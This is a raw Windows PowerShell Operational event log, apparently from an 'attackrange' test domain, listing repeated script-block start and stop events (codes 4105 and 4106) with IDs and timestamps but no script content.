ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045064
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045063
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045058
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045057
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045035
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045034
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045033
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045032
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045016
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045015
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045013
Keywords=None
